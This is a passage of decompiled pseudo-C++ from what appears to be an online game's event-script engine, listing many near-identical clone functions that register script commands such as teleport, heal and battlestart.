*v3; // ST14_4@1 PineEventScriptNode::StatementBase *result; // eax@1 v1 = operator new(0xBCu); v2 = (PineEventScriptNode::OtherStatement *)v1; v3 = v1; result = 0; if ( v3 ) { PineEventScriptNode::OtherStatement::OtherStatement(v2, "effectobj", 1u, 4, 4); v2->baseclass_0.baseclass_0.vfptr = (PineEventScriptNode::ScriptAtomVtbl *)&PineEventScriptNode::ShineEffectObject::_vftable_; result = (PineEventScriptNode::StatementBase *)v2; } return result; } // 6528E0: using guessed type int (__stdcall *PineEventScriptNode__ShineEffectObject___vftable_)(int tr); //----- (004CF0D0) -------------------------------------------------------- PineEventScriptNode::StatementBase *__thiscall PineEventScriptNode::ShineEffectLocate::sb_CloneMe(PineEventScriptNode::ShineEffectLocate *this) { void *v1; // eax@1 PineEventScriptNode::OtherStatement *v2; // esi@1 void *v3; // ST14_4@1 PineEventScriptNode::StatementBase *result; // eax@1 v1 = operator new(0xBCu); v2 = (PineEventScriptNode::OtherStatement *)v1; v3 = v1; result = 0; if ( v3 ) { PineEventScriptNode::OtherStatement::OtherStatement(v2, "effectloc", 1u, 6, 6); v2->baseclass_0.baseclass_0.vfptr = (PineEventScriptNode::ScriptAtomVtbl *)&PineEventScriptNode::ShineEffectLocate::_vftable_; result = (PineEventScriptNode::StatementBase *)v2; } return result; } // 652900: using guessed type int (__stdcall *PineEventScriptNode__ShineEffectLocate___vftable_)(int tr); //----- (004CF130) -------------------------------------------------------- PineEventScriptNode::StatementBase *__thiscall PineEventScriptNode::ShineAggro::sb_CloneMe(PineEventScriptNode::ShineAggro *this) { void *v1; // eax@1 PineEventScriptNode::OtherStatement *v2; // esi@1 void *v3; // ST14_4@1 PineEventScriptNode::StatementBase *result; // eax@1 v1 = operator new(0xBCu); v2 = (PineEventScriptNode::OtherStatement *)v1; v3 = v1; result = 0; if ( v3 ) { PineEventScriptNode::OtherStatement::OtherStatement(v2, "aggro", 1u, 2, 2); v2->baseclass_0.baseclass_0.vfptr = (PineEventScriptNode::ScriptAtomVtbl *)&PineEventScriptNode::ShineAggro::_vftable_; result = (PineEventScriptNode::StatementBase *)v2; } return result; } // 652920: using guessed type int (__stdcall *PineEventScriptNode__ShineAggro___vftable_)(int tr); //----- (004CF190) -------------------------------------------------------- PineEventScriptNode::StatementBase *__thiscall PineEventScriptNode::ShineMobWeaponRate::sb_CloneMe(PineEventScriptNode::ShineMobWeaponRate *this) { void *v1; // eax@1 PineEventScriptNode::OtherStatement *v2; // esi@1 void *v3; // ST14_4@1 PineEventScriptNode::StatementBase *result; // eax@1 v1 = operator new(0xBCu); v2 = (PineEventScriptNode::OtherStatement *)v1; v3 = v1; result = 0; if ( v3 ) { PineEventScriptNode::OtherStatement::OtherStatement(v2, "mobweaponrate", 1u, 1, 8); v2->baseclass_0.baseclass_0.vfptr = (PineEventScriptNode::ScriptAtomVtbl *)&PineEventScriptNode::ShineMobWeaponRate::_vftable_; result = (PineEventScriptNode::StatementBase *)v2; } return result; } // 65293C: using guessed type int (__stdcall *PineEventScriptNode__ShineMobWeaponRate___vftable_)(int tr); //----- (004CF1F0) -------------------------------------------------------- PineEventScriptNode::StatementBase *__thiscall PineEventScriptNode::ShineMobDetectRange::sb_CloneMe(PineEventScriptNode::ShineMobDetectRange *this) { void *v1; // eax@1 PineEventScriptNode::OtherStatement *v2; // esi@1 void *v3; // ST14_4@1 PineEventScriptNode::StatementBase *result; // eax@1 v1 = operator new(0xBCu); v2 = (PineEventScriptNode::OtherStatement *)v1; v3 = v1; result = 0; if ( v3 ) { PineEventScriptNode::OtherStatement::OtherStatement(v2, "mobdetectrange", 1u, 1, 1); v2->baseclass_0.baseclass_0.vfptr = (PineEventScriptNode::ScriptAtomVtbl *)&PineEventScriptNode::ShineMobDetectRange::_vftable_; result = (PineEventScriptNode::StatementBase *)v2; } return result; } // 652960: using guessed type int (__stdcall *PineEventScriptNode__ShineMobDetectRange___vftable_)(int tr); //----- (004CF250) -------------------------------------------------------- PineEventScriptNode::StatementBase *__thiscall PineEventScriptNode::ShineHeal::sb_CloneMe(PineEventScriptNode::ShineHeal *this) { void *v1; // eax@1 PineEventScriptNode::OtherStatement *v2; // esi@1 void *v3; // ST14_4@1 PineEventScriptNode::StatementBase *result; // eax@1 v1 = operator new(0xBCu); v2 = (PineEventScriptNode::OtherStatement *)v1; v3 = v1; result = 0; if ( v3 ) { PineEventScriptNode::OtherStatement::OtherStatement(v2, "heal", 1u, 1, 1); v2->baseclass_0.baseclass_0.vfptr = (PineEventScriptNode::ScriptAtomVtbl *)&PineEventScriptNode::ShineHeal::_vftable_; result = (PineEventScriptNode::StatementBase *)v2; } return result; } // 652984: using guessed type int (__stdcall *PineEventScriptNode__ShineHeal___vftable_)(int tr); //----- (004CF2B0) -------------------------------------------------------- PineEventScriptNode::StatementBase *__thiscall PineEventScriptNode::ShineAnimate::sb_CloneMe(PineEventScriptNode::ShineAnimate *this) { void *v1; // eax@1 PineEventScriptNode::OtherStatement *v2; // esi@1 void *v3; // ST14_4@1 PineEventScriptNode::StatementBase *result; // eax@1 v1 = operator new(0xBCu); v2 = (PineEventScriptNode::OtherStatement *)v1; v3 = v1; result = 0; if ( v3 ) { PineEventScriptNode::OtherStatement::OtherStatement(v2, "animate", 1u, 1, 1); v2->baseclass_0.baseclass_0.vfptr = (PineEventScriptNode::ScriptAtomVtbl *)&PineEventScriptNode::ShineAnimate::_vftable_; result = (PineEventScriptNode::StatementBase *)v2; } return result; } // 6529A0: using guessed type int (__stdcall *PineEventScriptNode__ShineAnimate___vftable_)(int tr); //----- (004CF310) -------------------------------------------------------- PineEventScriptNode::StatementBase *__thiscall PineEventScriptNode::ShineDuplicate::sb_CloneMe(PineEventScriptNode::ShineDuplicate *this) { void *v1; // eax@1 PineEventScriptNode::OtherStatement *v2; // esi@1 void *v3; // ST14_4@1 PineEventScriptNode::StatementBase *result; // eax@1 v1 = operator new(0xBCu); v2 = (PineEventScriptNode::OtherStatement *)v1; v3 = v1; result = 0; if ( v3 ) { PineEventScriptNode::OtherStatement::OtherStatement(v2, "duplicate", 1u, 1, 1); v2->baseclass_0.baseclass_0.vfptr = (PineEventScriptNode::ScriptAtomVtbl *)&PineEventScriptNode::ShineDuplicate::_vftable_; result = (PineEventScriptNode::StatementBase *)v2; } return result; } // 6529BC: using guessed type int (__stdcall *PineEventScriptNode__ShineDuplicate___vftable_)(int tr); //----- (004CF370) -------------------------------------------------------- PineEventScriptNode::StatementBase *__thiscall PineEventScriptNode::ShineWaitIdle::sb_CloneMe(PineEventScriptNode::ShineWaitIdle *this) { void *v1; // eax@1 PineEventScriptNode::OtherStatement *v2; // esi@1 void *v3; // ST14_4@1 PineEventScriptNode::StatementBase *result; // eax@1 v1 = operator new(0xBCu); v2 = (PineEventScriptNode::OtherStatement *)v1; v3 = v1; result = 0; if ( v3 ) { PineEventScriptNode::OtherStatement::OtherStatement(v2, "waitidle", 0, 0, 0); v2->baseclass_0.baseclass_0.vfptr = (PineEventScriptNode::ScriptAtomVtbl *)&PineEventScriptNode::ShineWaitIdle::_vftable_; result = (PineEventScriptNode::StatementBase *)v2; } return result; } // 6529DC: using guessed type int (__stdcall *PineEventScriptNode__ShineWaitIdle___vftable_)(int tr); //----- (004CF3D0) -------------------------------------------------------- PineEventScriptNode::StatementBase *__thiscall PineEventScriptNode::ShineDeathCountClear::sb_CloneMe(PineEventScriptNode::ShineDeathCountClear *this) { void *v1; // eax@1 PineEventScriptNode::OtherStatement *v2; // esi@1 void *v3; // ST14_4@1 PineEventScriptNode::StatementBase *result; // eax@1 v1 = operator new(0xBCu); v2 = (PineEventScriptNode::OtherStatement *)v1; v3 = v1; result = 0; if ( v3 ) { PineEventScriptNode::OtherStatement::OtherStatement(v2, "deathcountclear", 0, 0, 0); v2->baseclass_0.baseclass_0.vfptr = (PineEventScriptNode::ScriptAtomVtbl *)&PineEventScriptNode::ShineDeathCountClear::_vftable_; result = (PineEventScriptNode::StatementBase *)v2; } return result; } // 6529FC: using guessed type int (__stdcall *PineEventScriptNode__ShineDeathCountClear___vftable_)(int tr); //----- (004CF430) -------------------------------------------------------- PineEventScriptNode::StatementBase *__thiscall PineEventScriptNode::ShineItemAttrSet::sb_CloneMe(PineEventScriptNode::ShineItemAttrSet *this) { void *v1; // eax@1 PineEventScriptNode::OtherStatement *v2; // esi@1 void *v3; // ST14_4@1 PineEventScriptNode::StatementBase *result; // eax@1 v1 = operator new(0xBCu); v2 = (PineEventScriptNode::OtherStatement *)v1; v3 = v1; result = 0; if ( v3 ) { PineEventScriptNode::OtherStatement::OtherStatement(v2, "itemattrset", 1u, 2, 2); v2->baseclass_0.baseclass_0.vfptr = (PineEventScriptNode::ScriptAtomVtbl *)&PineEventScriptNode::ShineItemAttrSet::_vftable_; result = (PineEventScriptNode::StatementBase *)v2; } return result; } // 652A20: using guessed type int (__stdcall *PineEventScriptNode__ShineItemAttrSet___vftable_)(int tr); //----- (004CF490) -------------------------------------------------------- PineEventScriptNode::StatementBase *__thiscall PineEventScriptNode::ShineScinarioCode::sb_CloneMe(PineEventScriptNode::ShineScinarioCode *this) { void *v1; // eax@1 PineEventScriptNode::OtherStatement *v2; // esi@1 void *v3; // ST14_4@1 PineEventScriptNode::StatementBase *result; // eax@1 v1 = operator new(0xBCu); v2 = (PineEventScriptNode::OtherStatement *)v1; v3 = v1; result = 0; if ( v3 ) { PineEventScriptNode::OtherStatement::OtherStatement(v2, "scinariocode", 1u, 1, 1); v2->baseclass_0.baseclass_0.vfptr = (PineEventScriptNode::ScriptAtomVtbl *)&PineEventScriptNode::ShineScinarioCode::_vftable_; result = (PineEventScriptNode::StatementBase *)v2; } return result; } // 652A40: using guessed type int (__stdcall *PineEventScriptNode__ShineScinarioCode___vftable_)(int tr); //----- (004CF4F0) -------------------------------------------------------- PineEventScriptNode::StatementBase *__thiscall PineEventScriptNode::ShineBattleStart::sb_CloneMe(PineEventScriptNode::ShineBattleStart *this) { void *v1; // eax@1 PineEventScriptNode::OtherStatement *v2; // esi@1 void *v3; // ST14_4@1 PineEventScriptNode::StatementBase *result; // eax@1 v1 = operator new(0xBCu); v2 = (PineEventScriptNode::OtherStatement *)v1; v3 = v1; result = 0; if ( v3 ) { PineEventScriptNode::OtherStatement::OtherStatement(v2, "battlestart", 1u, 0, 2); v2->baseclass_0.baseclass_0.vfptr = (PineEventScriptNode::ScriptAtomVtbl *)&PineEventScriptNode::ShineBattleStart::_vftable_; result = (PineEventScriptNode::StatementBase *)v2; } return result; } // 652A64: using guessed type int (__stdcall *PineEventScriptNode__ShineBattleStart___vftable_)(int tr); //----- (004CF550) -------------------------------------------------------- PineEventScriptNode::StatementBase *__thiscall PineEventScriptNode::ShineBattleStop::sb_CloneMe(PineEventScriptNode::ShineBattleStop *this) { void *v1; // eax@1 PineEventScriptNode::OtherStatement *v2; // esi@1 void *v3; // ST14_4@1 PineEventScriptNode::StatementBase *result; // eax@1 v1 = operator new(0xBCu); v2 = (PineEventScriptNode::OtherStatement *)v1; v3 = v1; result = 0; if ( v3 ) { PineEventScriptNode::OtherStatement::OtherStatement(v2, "battlestop", 1u, 0, 0); v2->baseclass_0.baseclass_0.vfptr = (PineEventScriptNode::ScriptAtomVtbl *)&PineEventScriptNode::ShineBattleStop::_vftable_; result = (PineEventScriptNode::StatementBase *)v2; } return result; } // 652A84: using guessed type int (__stdcall *PineEventScriptNode__ShineBattleStop___vftable_)(int tr); //----- (004CF5B0) -------------------------------------------------------- PineEventScriptNode::StatementBase *__thiscall PineEventScriptNode::ShineSendKQResult::sb_CloneMe(PineEventScriptNode::ShineSendKQResult *this) { void *v1; // eax@1 PineEventScriptNode::OtherStatement *v2; // esi@1 void *v3; // ST14_4@1 PineEventScriptNode::StatementBase *result; // eax@1 v1 = operator new(0xBCu); v2 = (PineEventScriptNode::OtherStatement *)v1; v3 = v1; result = 0; if ( v3 ) { PineEventScriptNode::OtherStatement::OtherStatement(v2, "sendquestresult", 1u, 1, 1); v2->baseclass_0.baseclass_0.vfptr = (PineEventScriptNode::ScriptAtomVtbl *)&PineEventScriptNode::ShineSendKQResult::_vftable_; result = (PineEventScriptNode::StatementBase *)v2; } return result; } // 652AA4: using guessed type int (__stdcall *PineEventScriptNode__ShineSendKQResult___vftable_)(int tr); //----- (004CF610) -------------------------------------------------------- PineEventScriptNode::StatementBase *__thiscall PineEventScriptNode::ShineInvidualReward::sb_CloneMe(PineEventScriptNode::ShineInvidualReward *this) { void *v1; // eax@1 PineEventScriptNode::OtherStatement *v2; // esi@1 void *v3; // ST14_4@1 PineEventScriptNode::StatementBase *result; // eax@1 v1 = operator new(0xBCu); v2 = (PineEventScriptNode::OtherStatement *)v1; v3 = v1; result = 0; if ( v3 ) { PineEventScriptNode::OtherStatement::OtherStatement(v2, "invidualreward", 0, 2, 2); v2->baseclass_0.baseclass_0.vfptr = (PineEventScriptNode::ScriptAtomVtbl *)&PineEventScriptNode::ShineInvidualReward::_vftable_; result = (PineEventScriptNode::StatementBase *)v2; } return result; } // 652AC8: using guessed type int (__stdcall *PineEventScriptNode__ShineInvidualReward___vftable_)(int tr); //----- (004CF670) -------------------------------------------------------- PineEventScriptNode::StatementBase *__thiscall PineEventScriptNode::ShineReturnValue::sb_CloneMe(PineEventScriptNode::ShineReturnValue *this) { void *v1; // eax@1 PineEventScriptNode::OtherStatement *v2; // esi@1 void *v3; // ST14_4@1 PineEventScriptNode::StatementBase *result; // eax@1 v1 = operator new(0xBCu); v2 = (PineEventScriptNode::OtherStatement *)v1; v3 = v1; result = 0; if ( v3 ) { PineEventScriptNode::OtherStatement::OtherStatement(v2, "returnvalue", 0, 2, 2); v2->baseclass_0.baseclass_0.vfptr = (PineEventScriptNode::ScriptAtomVtbl *)&PineEventScriptNode::ShineReturnValue::_vftable_; result = (PineEventScriptNode::StatementBase *)v2; } return result; } // 652AEC: using guessed type int (__stdcall *PineEventScriptNode__ShineReturnValue___vftable_)(int tr); //----- (004CF6D0) -------------------------------------------------------- PineEventScriptNode::StatementBase *__thiscall PineEventScriptNode::ShineSubLayerShift::sb_CloneMe(PineEventScriptNode::ShineSubLayerShift *this) { void *v1; // eax@1 PineEventScriptNode::OtherStatement *v2; // esi@1 void *v3; // ST14_4@1 PineEventScriptNode::StatementBase *result; // eax@1 v1 = operator new(0xBCu); v2 = (PineEventScriptNode::OtherStatement *)v1; v3 = v1; result = 0; if ( v3 ) { PineEventScriptNode::OtherStatement::OtherStatement(v2, "sublayershift", 1u, 2, 2); v2->baseclass_0.baseclass_0.vfptr = (PineEventScriptNode::ScriptAtomVtbl *)&PineEventScriptNode::ShineSubLayerShift::_vftable_; result = (PineEventScriptNode::StatementBase *)v2; } return result; } // 652B0C: using guessed type int (__stdcall *PineEventScriptNode__ShineSubLayerShift___vftable_)(int tr); //----- (004CF730) -------------------------------------------------------- PineEventScriptNode::StatementBase *__thiscall PineEventScriptNode::ShineTeleport::sb_CloneMe(PineEventScriptNode::ShineTeleport *this) { void *v1; // eax@1 PineEventScriptNode::OtherStatement *v2; // esi@1 void *v3; // ST14_4@1 PineEventScriptNode::StatementBase *result; // eax@1 v1 = operator new(0xBCu); v2 = (PineEventScriptNode::OtherStatement *)v1; v3 = v1; result = 0; if ( v3 ) { PineEventScriptNode::OtherStatement::OtherStatement(v2, "teleport", 1u, 1, 3); v2->baseclass_0.baseclass_0.vfptr = (PineEventScriptNode::ScriptAtomVtbl *)&PineEventScriptNode::ShineTeleport::_vftable_; result = (PineEventScriptNode::StatementBase *)v2; } return result; } // 652B30: using guessed type int (__stdcall *PineEventScriptNode__ShineTeleport___vftable_)(int tr); //----- (004CF790) -------------------------------------------------------- PineEventScriptNode::StatementBase *__thiscall PineEventScriptNode::ShineItemOwner::sb_CloneMe(PineEventScriptNode::ShineItemOwner *this) { void *v1; // eax@1 PineEventScriptNode::OtherStatement *v2; // esi@1 void *v3; // ST14_4@1 PineEventScriptNode::StatementBase *result; // eax@1 v1 = operator new(0xBCu); v2 = (PineEventScriptNode::OtherStatement *)v1; v3 = v1; result = 0; if ( v3 ) { PineEventScriptNode::OtherStatement::OtherStatement(v2, "itemowner", 1u, 2, 2); v2->baseclass_0.baseclass_0.vfptr = (PineEventScriptNode::ScriptAtomVtbl *)&PineEventScriptNode::ShineItemOwner::_vftable_; result = (PineEventScriptNode::StatementBase *)v2; } return result; } // 652B50: using guessed type int (__stdcall *PineEventScriptNode__ShineItemOwner___vftable_)(int tr); //----- (004CF7F0) -------------------------------------------------------- PineEventScriptNode::StatementBase *__thiscall PineEventScriptNode::ShineMobAttribute::sb_CloneMe(PineEventScriptNode::ShineMobAttribute *this) { void *v1; // eax@1 PineEventScriptNode::OtherStatement *v2; // esi@1 void *v3; // ST14_4@1 PineEventScriptNode::StatementBase *result; // eax@1 v1 = operator new(0xBCu); v2 = (PineEventScriptNode::OtherStatement *)v1; v3 = v1; result = 0; if ( v3 ) { PineEventScriptNode::OtherStatement::OtherStatement(v2, "mobattr", 1u, 2, 2); v2->baseclass_0.baseclass_0.vfptr = (PineEventScriptNode::ScriptAtomVtbl *)&PineEventScriptNode::ShineMobAttribute::_vftable_; result = (PineEventScriptNode::StatementBase *)v2; } return result; } // 652B70: using guessed type int (__stdcall *PineEventScriptNode__ShineMobAttribute___vftable_)(int tr); //----- (004CF850) -------------------------------------------------------- PineEventScriptNode::StatementBase *__thiscall PineEventScriptNode::ShineObjectCollect::sb_CloneMe(PineEventScriptNode::ShineObjectCollect *this) { void *v1; // eax@1 PineEventScriptNode::OtherStatement *v2; // esi@1 void *v3; // ST14_4@1 PineEventScriptNode::StatementBase *result; // eax@1 v1 = operator new(0xBCu); v2 = (PineEventScriptNode::OtherStatement *)v1; v3 = v1; result = 0; if ( v3 ) { PineEventScriptNode::OtherStatement::OtherStatement(v2, "collect", 1u, 4, 4); v2->baseclass_0.baseclass_0.vfptr = (PineEventScriptNode::ScriptAtomVtbl *)&PineEventScriptNode::ShineObjectCollect::_vftable_; result = (PineEventScriptNode::StatementBase *)v2; } return result; } // 652B8C: using guessed type int (__stdcall *PineEventScriptNode__ShineObjectCollect___vftable_)(int tr); //----- (004CF8B0) -------------------------------------------------------- PineEventScriptNode::StatementBase *__thiscall PineEventScriptNode::ShineEndOfKingdomQuest::sb_CloneMe(PineEventScriptNode::ShineEndOfKingdomQuest *this) { void *v1; // eax@1 PineEventScriptNode::OtherStatement *v2; // esi@1 void *v3; // ST14_4@1 PineEventScriptNode::StatementBase *result; // eax@1 v1 = operator new(0xBCu); v2 = (PineEventScriptNode::OtherStatement *)v1; v3 = v1; result = 0; if ( v3 ) { PineEventScriptNode::OtherStatement::OtherStatement(v2, "endofkq", 0, 0, 0); v2->baseclass_0.baseclass_0.vfptr = (PineEventScriptNode::ScriptAtomVtbl *)&PineEventScriptNode::ShineEndOfKingdomQuest::_vftable_; result = (PineEventScriptNode::StatementBase *)v2; } return result; } // 652BA8: using guessed type int (__stdcall *PineEventScriptNode__ShineEndOfKingdomQuest___vftable_)(int tr); //----- (004CF910) -------------------------------------------------------- PineEventScriptNode::StatementBase *__thiscall PineEventScriptNode::ShineEndOfGuildTournament::sb_CloneMe(PineEventScriptNode::ShineEndOfGuildTournament *this) { void *v1; // eax@1 PineEventScriptNode::OtherStatement *v2; // esi@1 void *v3; // ST14_4@1 PineEventScriptNode::StatementBase *result; // eax@1 v1 = operator new(0xBCu); v2 = (PineEventScriptNode::OtherStatement *)v1; v3 = v1; result = 0; if ( v3 ) { PineEventScriptNode::OtherStatement::OtherStatement(v2, "endofgt", 0, 2, 2); v2->baseclass_0.baseclass_0.vfptr = (PineEventScriptNode::ScriptAtomVtbl *)&PineEventScriptNode::ShineEndOfGuildTournament::_vftable_; result = (PineEventScriptNode::StatementBase *)v2; } return result; } // 652BC4: using guessed type int (__stdcall *PineEventScriptNode__ShineEndOfGuildTournament___vftable_)(int tr); //----- (004CF970) -------------------------------------------------------- PineEventScriptNode::StatementBase *__thiscall PineEventScriptNode::ShineGuildTorunamentResult::sb_CloneMe(PineEventScriptNode::ShineGuildTorunamentResult *this) { void *v1; // eax@1 PineEventScriptNode::OtherStatement *v2; // esi@1 void *v3; // ST14_4@1 PineEventScriptNode::StatementBase *result; // eax@1 v1 = operator new(0xBCu); v2 = (PineEventScriptNode::OtherStatement *)v1; v3 = v1; result = 0; if ( v3 ) { PineEventScriptNode::OtherStatement::OtherStatement(v2, "gtresult", 1u, 1, 2); v2->baseclass_0.baseclass_0.vfptr = (PineEventScriptNode::ScriptAtomVtbl *)&PineEventScriptNode::ShineGuildTorunamentResult::_vftable_; result = (PineEventScriptNode::StatementBase *)v2; } return result; } // 652BE0: using guessed type int (__stdcall *PineEventScriptNode__ShineGuildTorunamentResult___vftable_)(int tr); //----- (004CF9D0) -------------------------------------------------------- PineEventScriptNode::StatementBase *__thiscall PineEventScriptNode::ShineCostumeCreate::sb_CloneMe(PineEventScriptNode::ShineCostumeCreate *this) { void *v1; // eax@1 PineEventScriptNode::OtherStatement *v2; // esi@1 void *v3; // ST14_4@1 PineEventScriptNode::StatementBase *result; // eax@1 v1 = operator new(0xBCu); v2 = (PineEventScriptNode::OtherStatement *)v1; v3 = v1; result = 0; if ( v3 ) { PineEventScriptNode::OtherStatement::OtherStatement(v2, "costumecreate", 1u, 3, 3); v2->baseclass_0.baseclass_0.vfptr = (PineEventScriptNode::ScriptAtomVtbl *)&PineEventScriptNode::ShineCostumeCreate::_vftable_; result = (PineEventScriptNode::StatementBase *)v2; } return result; } // 652C00: using guessed type int (__stdcall *PineEventScriptNode__ShineCostumeCreate___vftable_)(int tr); //----- (004CFA30) -------------------------------------------------------- PineEventScriptNode::StatementBase *__thiscall PineEventScriptNode::ShineCostumeTakeOff::sb_CloneMe(PineEventScriptNode::ShineCostumeTakeOff *this) { void *v1; // eax@1 PineEventScriptNode::OtherStatement *v2; // esi@1 void *v3; // ST14_4@1 PineEventScriptNode::StatementBase *result; // eax@1 v1 = operator new(0xBCu); v2 = (PineEventScriptNode::OtherStatement *)v1; v3 = v1; result = 0; if ( v3 ) { PineEventScriptNode::OtherStatement::OtherStatement(v2, "costumetakeoff", 1u, 2, 2); v2->baseclass_0.baseclass_0.vfptr = (PineEventScriptNode::ScriptAtomVtbl *)&PineEventScriptNode::ShineCostumeTakeOff::_vftable_; result = (PineEventScriptNode::StatementBase *)v2; } return result; } // 652C24: using guessed type int (__stdcall *PineEventScriptNode__ShineCostumeTakeOff___vftable_)(int tr); //----- (004CFA90) -------------------------------------------------------- PineEventScriptNode::StatementBase *__thiscall PineEventScriptNode::ShineWeddingComplete::sb_CloneMe(PineEventScriptNode::ShineWeddingComplete *this) { void *v1; // eax@1 PineEventScriptNode::OtherStatement *v2; // esi@1 void *v3; // ST14_4@1 PineEventScriptNode::StatementBase *result; // eax@1 v1 = operator new(0xBCu); v2 = (PineEventScriptNode::OtherStatement *)v1; v3 = v1; result = 0; if ( v3 ) { PineEventScriptNode::OtherStatement::OtherStatement(v2, "weddingcomplete", 0, 2, 2); v2->baseclass_0.baseclass_0.vfptr = (PineEventScriptNode::ScriptAtomVtbl *)&PineEventScriptNode::ShineWeddingComplete::_vftable_; result = (PineEventScriptNode::StatementBase *)v2; } return result; } // 652C48: using guessed type int (__stdcall *PineEventScriptNode__ShineWeddingComplete___vftable_)(int tr); //----- (004CFAF0) -------------------------------------------------------- PineEventScriptNode::StatementBase *__thiscall PineEventScriptNode::ShinePlayerWalk::sb_CloneMe(PineEventScriptNode::ShinePlayerWalk *this) { void *v1; // eax@1 PineEventScriptNode::OtherStatement *v2; // esi@1 void *v3; // ST14_4@1 PineEventScriptNode::StatementBase *result; // eax@1 v1 = operator new(0xBCu); v2 = (PineEventScriptNode::OtherStatement *)v1; v3 = v1; result = 0; if ( v3 ) { PineEventScriptNode::OtherStatement::OtherStatement(v2, "playerwork", 1u, 2, 2); v2->baseclass_0.baseclass_0.vfptr = (PineEventScriptNode::ScriptAtomVtbl *)&PineEventScriptNode::ShinePlayerWalk::_vftable_; result = (PineEventScriptNode::StatementBase *)v2; } return result; } // 652C6C: using guessed type int (__stdcall *PineEventScriptNode__ShinePlayerWalk___vftable_)(int tr); //----- (004CFB50) -------------------------------------------------------- PineEventScriptNode::StatementBase *__thiscall PineEventScriptNode::ShineFindPlayer::sb_CloneMe(PineEventScriptNode::ShineFindPlayer *this) { void *v1; // eax@1 PineEventScriptNode::OtherStatement *v2; // esi@1 void *v3; // ST14_4@1 PineEventScriptNode::StatementBase *result; // eax@1 v1 = operator new(0xBCu); v2 = (PineEventScriptNode::OtherStatement *)v1; v3 = v1; result = 0; if ( v3 ) { PineEventScriptNode::OtherStatement::OtherStatement(v2, "findplayer", 1u, 1, 2); v2->baseclass_0.baseclass_0.vfptr = (PineEventScriptNode::ScriptAtomVtbl *)&PineEventScriptNode::ShineFindPlayer::_vftable_; result = (PineEventScriptNode::StatementBase *)v2; } return result; } // 652C8C: using guessed type int (__stdcall *PineEventScriptNode__ShineFindPlayer___vftable_)(int tr); //----- (004CFBB0) -------------------------------------------------------- PineEventScriptNode::StatementBase *__thiscall PineEventScriptNode::ShineTeleportAll::sb_CloneMe(PineEventScriptNode::ShineTeleportAll *this) { void *v1; // eax@1 PineEventScriptNode::OtherStatement *v2; // esi@1 void *v3; // ST14_4@1 PineEventScriptNode::StatementBase *result; // eax@1 v1 = operator new(0xBCu); v2 = (PineEventScriptNode::OtherStatement *)v1; v3 = v1; result = 0; if ( v3 ) { PineEventScriptNode::OtherStatement::OtherStatement(v2, "teleportall", 1u, 0, 4); v2->baseclass_0.baseclass_0.vfptr = (PineEventScriptNode::ScriptAtomVtbl *)&PineEventScriptNode::ShineTeleportAll::_vftable_; result = (PineEventScriptNode::StatementBase *)v2; } return result; } // 652CAC: using guessed type int (__stdcall *PineEventScriptNode__ShineTeleportAll___vftable_)(int tr); //----- (004CFC10) -------------------------------------------------------- PineEventScriptNode::StatementBase *__thiscall PineEventScriptNode::ShineBriefEffect::sb_CloneMe(PineEventScriptNode::ShineBriefEffect *this) { void *v1; // eax@1 PineEventScriptNode::OtherStatement *v2; // esi@1 void *v3; // ST14_4@1 PineEventScriptNode::StatementBase *result; // eax@1 v1 = operator new(0xBCu); v2 = (PineEventScriptNode::OtherStatement *)v1; v3 = v1; result = 0; if ( v3 ) { PineEventScriptNode::OtherStatement::OtherStatement(v2, "briefeffect", 1u, 1, 1); v2->baseclass_0.baseclass_0.vfptr = (PineEventScriptNode::ScriptAtomVtbl *)&PineEventScriptNode::ShineBriefEffect::_vftable_; result = (PineEventScriptNode::StatementBase *)v2; } return result; } // 652CCC: using guessed type int (__stdcall *PineEventScriptNode__ShineBriefEffect___vftable_)(int tr); //----- (004CFC70) -------------------------------------------------------- PineEventScriptNode::StatementBase *__thiscall PineEventScriptNode::ShineBanFromArea::sb_CloneMe(PineEventScriptNode::ShineBanFromArea *this) { void *v1; // eax@1 PineEventScriptNode::OtherStatement *v2; // esi@1 void *v3; // ST14_4@1 PineEventScriptNode::StatementBase *result; // eax@1 v1 = operator new(0xBCu); v2 = (PineEventScriptNode::OtherStatement *)v1; v3 = v1; result = 0; if ( v3 ) { PineEventScriptNode::OtherStatement::OtherStatement(v2, "banfromarea", 0, 5, 5); v2->baseclass_0.baseclass_0.vfptr = (PineEventScriptNode::ScriptAtomVtbl *)&PineEventScriptNode::ShineBanFromArea::_vftable_; result = (PineEventScriptNode::StatementBase *)v2; } return result; } // 652CEC: using guessed type int (__stdcall *PineEventScriptNode__ShineBanFromArea___vftable_)(int tr); //----- (004CFCD0) -------------------------------------------------------- PineEventScriptNode::StatementBase *__thiscall PineEventScriptNode::ShineRegesteFlag::sb_CloneMe(PineEventScriptNode::ShineRegesteFlag *this) { void *v1; // eax@1 PineEventScriptNode::OtherStatement *v2; // esi@1 void *v3; // ST14_4@1 PineEventScriptNode::StatementBase *result; // eax@1 v1 = operator new(0xBCu); v2 = (PineEventScriptNode::OtherStatement *)v1; v3 = v1; result = 0; if ( v3 ) { PineEventScriptNode::OtherStatement::OtherStatement(v2, "RegisteFlag", 0, 3, 3); v2->baseclass_0.baseclass_0.vfptr = (PineEventScriptNode::ScriptAtomVtbl *)&PineEventScriptNode::ShineRegesteFlag::_vftable_; result = (PineEventScriptNode::StatementBase *)v2; } return result; } // 652D0C: using guessed type int (__stdcall *PineEventScriptNode__ShineRegesteFlag___vftable_)(int tr); //----- (004CFD30) -------------------------------------------------------- PineEventScriptNode::StatementBase *__thiscall PineEventScriptNode::ShineRegesteGate::sb_CloneMe(PineEventScriptNode::ShineRegesteGate *this) { void *v1; // eax@1 PineEventScriptNode::OtherStatement *v2; // esi@1 void *v3; // ST14_4@1 PineEventScriptNode::StatementBase *result; // eax@1 v1 = operator new(0xBCu); v2 = (PineEventScriptNode::OtherStatement *)v1; v3 = v1; result = 0; if ( v3 ) { PineEventScriptNode::OtherStatement::OtherStatement(v2, "RegisteGate", 0, 4, 4); v2->baseclass_0.baseclass_0.vfptr = (PineEventScriptNode::ScriptAtomVtbl *)&PineEventScriptNode::ShineRegesteGate::_vftable_; result = (PineEventScriptNode::StatementBase *)v2; } return result; } // 652D2C: using guessed type int (__stdcall *PineEventScriptNode__ShineRegesteGate___vftable_)(int tr); //----- (004CFD90) -------------------------------------------------------- PineEventScriptNode::StatementBase *__thiscall PineEventScriptNode::ShineDiceGameStart::sb_CloneMe(PineEventScriptNode::ShineDiceGameStart *this) { void *v1; // eax@1 PineEventScriptNode::OtherStatement *v2; // esi@1 void *v3; // ST14_4@1 PineEventScriptNode::StatementBase *result; // eax@1 v1 = operator new(0xBCu); v2 = (PineEventScriptNode::OtherStatement *)v1; v3 = v1; result = 0; if ( v3 ) { PineEventScriptNode::OtherStatement::OtherStatement(v2, 